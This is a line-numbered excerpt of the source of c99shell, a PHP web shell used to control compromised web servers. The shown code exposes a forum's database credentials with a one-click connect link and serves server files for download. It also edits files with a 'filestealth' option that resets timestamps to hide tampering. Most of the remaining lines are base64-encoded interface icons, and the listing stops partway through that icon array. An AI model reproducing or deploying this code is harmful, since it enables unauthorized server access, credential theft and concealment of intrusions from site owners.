  2437.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2438.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2439.      echo "Parameters for manual connect:<br>";
  2440.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2441.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2442.      echo "</b><hr size=\"1\" noshade>";
  2443.     }
  2444.    }
  2445.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2446.    if (!empty($white)) {@ob_clean();}
  2447.    highlight_file($d.$f);
  2448.    if (!empty($white)) {exit;}
  2449.    echo "</div>";
  2450.   }
  2451.   elseif ($ft == "download")
  2452.   {
  2453.    @ob_clean();
  2454.    header("Content-type: application/octet-stream");
  2455.    header("Content-length: ".filesize($d.$f));
  2456.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2457.    echo $r;
  2458.    exit;
  2459.   }
  2460.   elseif ($ft == "notepad")
  2461.   {
  2462.    @ob_clean();
  2463.    header("Content-type: text/plain");
  2464.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2465.    echo($r);
  2466.    exit;
  2467.   }
  2468.   elseif ($ft == "img")
  2469.   {
  2470.    $inf = getimagesize($d.$f);
  2471.    if (!$white)
  2472.    {
  2473.     if (empty($imgsize)) {$imgsize = 20;}
  2474.     $width = $inf[0]/100*$imgsize;
  2475.     $height = $inf[1]/100*$imgsize;
  2476.     echo "<center><b>Size:</b>&nbsp;";
  2477.     $sizes = array("100","50","20");
  2478.     foreach ($sizes as $v)
  2479.     {
  2480.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2481.      if ($imgsize != $v ) {echo $v;}
  2482.      else {echo "<u>".$v."</u>";}
  2483.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2484.     }
  2485.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2486.    }
  2487.    else
  2488.    {
  2489.     @ob_clean();
  2490.     $ext = explode($f,".");
  2491.     $ext = $ext[count($ext)-1];
  2492.     header("Content-type: ".$inf["mime"]);
  2493.     readfile($d.$f);
  2494.     exit;
  2495.    }
  2496.   }
  2497.   elseif ($ft == "edit")
  2498.   {
  2499.    if (!empty($submit))
  2500.    {
  2501.     if ($filestealth) {$stat = stat($d.$f);}
  2502.     $fp = fopen($d.$f,"w");
  2503.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2504.     else
  2505.     {
  2506.      echo "<b>Saved!</b>";
  2507.      fwrite($fp,$edit_text);
  2508.      fclose($fp);
  2509.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2510.      $r = $edit_text;
  2511.     }
  2512.    }
  2513.    $rows = count(explode("\r\n",$r));
  2514.    if ($rows < 10) {$rows = 10;}
  2515.    if ($rows > 30) {$rows = 30;}
  2516.    echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2517.   }
  2518.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2519.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2520.  }
  2521. }
  2522. }
  2523. else
  2524. {
  2525.  @ob_clean();
  2526.  $images = array(
  2527. "arrow_ltr"=>
  2528. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2529. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2530. "back"=>
  2531. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2532. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2533. "Wg0JADs=",
  2534. "buffer"=>
  2535. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2536. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2537. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2538. "change"=>
  2539. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2540. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2541. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2542. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2543. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2544. "zMshADs=",
  2545. "delete"=>
  2546. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2547. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2548. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2549. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2550. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2551. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2552. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2553. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2554. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2555. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2556. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2557. "download"=>
  2558. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2559. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2560. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2561. "forward"=>
  2562. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2563. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2564. "WqsJADs=",
  2565. "home"=>
  2566. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2567. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2568. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2569. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2570. "mode"=>
  2571. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2572. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2573. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2574. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2575. "refresh"=>
  2576. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  2577. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  2578. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  2579. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  2580. "search"=>
  2581. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2582. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2583. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2584. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2585. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2586. "setup"=>
  2587. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2588. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2589. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2590. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2591. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2592. "small_dir"=>
  2593. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2594. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2595. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2596. "small_unk"=>
  2597. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2598. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2599. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2600. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2601. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2602. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2603. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2604. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2605. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2606. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2607. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2608. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2609. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2610. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2611. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2612. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2613. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2614. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2615. "yAsokBkQADs=",
  2616. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2617. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2618. "sort_asc"=>
  2619. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2620. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2621. "sort_desc"=>
  2622. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2623. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2624. "sql_button_drop"=>
  2625. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2626. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2627. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2628. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2629. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2630. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2631. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2632. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2633. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2634. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2635. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2636. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2637. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2638. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2639. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2640. "AQEAOw==",
  2641. "sql_button_empty"=>
  2642. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2643. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2644. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2645. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2646. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2647. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2648. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2649. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2650. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2651. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2652. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2653. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2654.  
  2655. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2656. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2657. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2658. "sql_button_insert"=>
  2659. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2660. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2661. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2662. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2663. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2664. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2665. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2666. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2667. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2668. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2669. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2670. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2671. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2672. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2673. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2674. "up"=>
  2675. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2676. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2677. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2678. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2679. "write"=>
  2680. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2681. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2682. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2683. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2684. "ext_asp"=>
  2685. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2686. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2687. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2688. "ext_mp3"=>
  2689. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2690. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2691. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2692. "ext_avi"=>
  2693. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2694. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2695. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2696. "ext_cgi"=>
  2697. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2698. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2699. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2700. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2701. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2702. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2703. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2704. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2705. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2706. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2707. "RYtMAgEAOw==",
  2708. "ext_cmd"=>
  2709. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2710. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2711. "dmrYAMn1onq/YKpjvEgAADs=",
  2712. "ext_cpp"=>
  2713. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2714. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2715. "Eq7YrLDE7a4SADs=",
  2716. "ext_ini"=>
  2717. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2718. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2719. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2720.  
  2721. "ext_diz"=>
  2722. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2723. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2724. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2725. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2726. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2727. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
